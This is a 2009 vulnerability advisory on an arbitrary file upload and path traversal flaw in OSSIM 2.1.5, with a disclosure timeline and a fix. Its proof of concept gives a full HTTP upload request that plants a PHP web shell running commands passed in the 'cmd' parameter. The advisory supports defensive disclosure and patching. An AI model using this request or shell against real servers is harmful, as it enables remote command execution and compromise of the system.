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OSSIM v2.1.5 Arbitrary File Upload
Advisory Name: Arbitrary File Upload in OSSIM
Vulnerability Class: Arbitrary File Upload
Release Date: 12-16-2009
Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.
Affected Platforms: Multiple
Local / Remote: Remote
Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Researcher: Nahuel Grisolía
Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability Description:
The vulnerability is caused due to an improper check in “repository_attachment.php” script, allowing
the upload of files with arbitrary extensions to a folder inside the Webroot. This can be exploited to e.g.
execute arbitrary PHP code by uploading a specially crafted PHP script containing some kind of Web
Shell. Also, using path traversal technique, an attacker can change the original destination path.
Proof of Concept:
1) Select a file with any extension (including PHP) and upload it using the form. The file will be
available in: /ossiminstall/uploads/(DOC_ID_FOLDER)/(DOC_ID).php
2) Using path traversal technique, an attacker can write into other directory, like tmp, inside the
Webroot:
POST /ossim/repository/repository_attachment.php HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10
(karmic) Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: PHPSESSID=(YOUR_COOKIE_HERE)
Content-Type: multipart/form-data; boundary=---------------------------
11440981608429693121899471469
Content-Length: 689
-----------------------------11440981608429693121899471469
Content-Disposition: form-data; name="id_document"
../tmp/
-----------------------------11440981608429693121899471469
Content-Disposition: form-data; name="atchfile"; filename="R4nd0mF1l31tdoesntmatter.php"
Content-Type: text/vnd.wap.wml
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
</pre>
</BODY></HTML>
-----------------------------11440981608429693121899471469--
and then, browse /ossiminstall/tmp/_(DOC_ID).php
Impact:
Direct execution of arbitrary PHP code in the Web Server.
Solution: Upgrade to OSSIM 2.1.5-4
Vendor Response:
2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published
Contact Information:
For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems:
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems
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16 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1